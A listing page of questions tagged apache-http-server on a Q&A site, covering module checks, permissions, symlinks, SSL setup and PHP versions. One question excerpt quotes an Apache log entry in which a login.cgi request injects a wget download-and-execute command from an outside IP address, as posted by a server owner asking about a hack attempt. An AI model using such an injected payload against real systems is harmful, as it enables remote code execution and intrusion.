Questions tagged [apache-http-server]

Apache is the widely known term for the Apache HTTP server, a very commonly used web server software maintained by the Apache Software Foundation. If your question is about other Apache software such as Tomcat or log4j, http://stackoverflow.com/ is a better choice.

Apache HTTP Server is one of the most widely used web server software programs used to host web site content. Use this tag for questions related to issues related directly to configuration, troubleshooting, error messages, etc. from the Apache HTTP web server.

3314 questions
416
votes
11 answers

How to check which apache modules are enabled/installed?

Which is the most elegant way to check which apache modules are enabled?
udo
  • 8,061
248
votes
9 answers

How can I give write-access of a folder to all users in linux?

I installed apache2 on Ubuntu just now, and noticed that the /var/www folder is protected. I can just sudo everything but I would rather just give it write access. How can I do this? I tried sudo chmod 7777 /var/www but it didn't work.
Carson Myers
  • 3,131
128
votes
4 answers

How do I get Apache to follow symlinks?

In my apache www folder (/var/www on ubuntu 10.10) I have: mydir -> /home/user/mydir (that I created with ln -s) Now, if I want to see a listing of the files in mydir from the web, I have to give apache the directive FollowSymLinks, right? But…
luca
  • 1,813
70
votes
6 answers

How do I start apache in OSX Mountain Lion / Mavericks?

OSX Mountain Lion removed the GUI for web sharing, but apache is still installed. How do I start and stop the service? How do I get the service to automatically launch on startup?
64
votes
4 answers

How do web servers know whether you're using direct IP address access?

Some web servers, when accessed using their IP address, return an error that direct IP address access is not allowed. I've been wondering for some time how this works. I mean, doesn't the browser always resolve the IP address and connect to it?…
Joseph
  • 2,178
59
votes
6 answers

Apache Bench test error on OS X: "apr_socket_recv: Connection reset by peer (54)"

I updated my MacBook Pro 13" to Lion a few weeks ago. I just found out that Apache Bench (apache2.2.19) is not working. It always shows this error, no matter what: apr_socket_recv: Connection reset by peer (54) I also did a clean install on my Mac…
ben
  • 691
45
votes
6 answers

How do I stop services from starting on boot on Ubuntu?

I have lots of servers installed (Apache, MySQL, etc.), but I don't want them all to start at boot time (they drain power, and I'm on batteries most of the time). How do I configure this?
agentofuser
  • 7,677
44
votes
5 answers

What is the recommended directory to store website content?

When I first started programming for the web and I wanted to create a new project I was always taught to create a directory in /var/www/. However in a lot of tutorials I read people tend to create a directory in /home/username/. I don't like the…
Pattle
  • 543
40
votes
7 answers

How can I determine if Apache is installed on a system?

I have Linux Mint on my computer but I don't know how to find out whether Apache2 is on it or where it is actually installed. I run my web browser (PHP installed) with http://localhost as a URL and it works.
39
votes
6 answers

What is Apache Synapse?

My website keeps getting hit by odd requests with the following user-agent string: Mozilla/4.0 (compatible; Synapse) Using our friendly tool Google I was able to determine this is the hallmark calling-card of our friendly neighborhood Apache…
Aren B
  • 864
34
votes
1 answer

How to easily create a SSL certificate and configure it in Apache2 in Mac OS X?

I'd like to use my Mac OS X with https for local development tests. How can I easily make Apache2 respond to ssl, just for test proposes - I don't want a real certificate, just a fake to make local https work
33
votes
3 answers

Why is the PHP version different in phpinfo() and CLI?

I realized that there is a miss matching between the PHP version reported by phpinfo() and php -v (in the CLI). phpinfo(): 5.5.24 php -v: 5.6.9 I am working on a Mac OS X 10.10 (Yosemite) and installed a library (php-version) to try to manage the…
33
votes
2 answers

What does this bash script do? [Hack Attempt]

I've been noticing on my servers apache logs, the following strange lines lately: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$…
ndom91
  • 443
30
votes
2 answers

Apache 2.4 on Windows responds slowly, hangs when serving some dynamic pages

(I know the answer to this question. Posting this just to share the answer with the community) My local (Windows 7) instance of Apache 2.4 experiences delays or hang-ups when serving some URLs, depending on which browser I use to access these…
30
votes
4 answers

How to add new PHP version to WAMP

I'm trying to install PHP 5.3.8 to work with WAMP (Windows). I downloaded it from the PHP website, copied it in the bin folder, and added this line to wampmanager.ini: Type: item; Caption: "5.3.8"; Action: multi;…
Alex
  • 1,085
1
2 3
99 100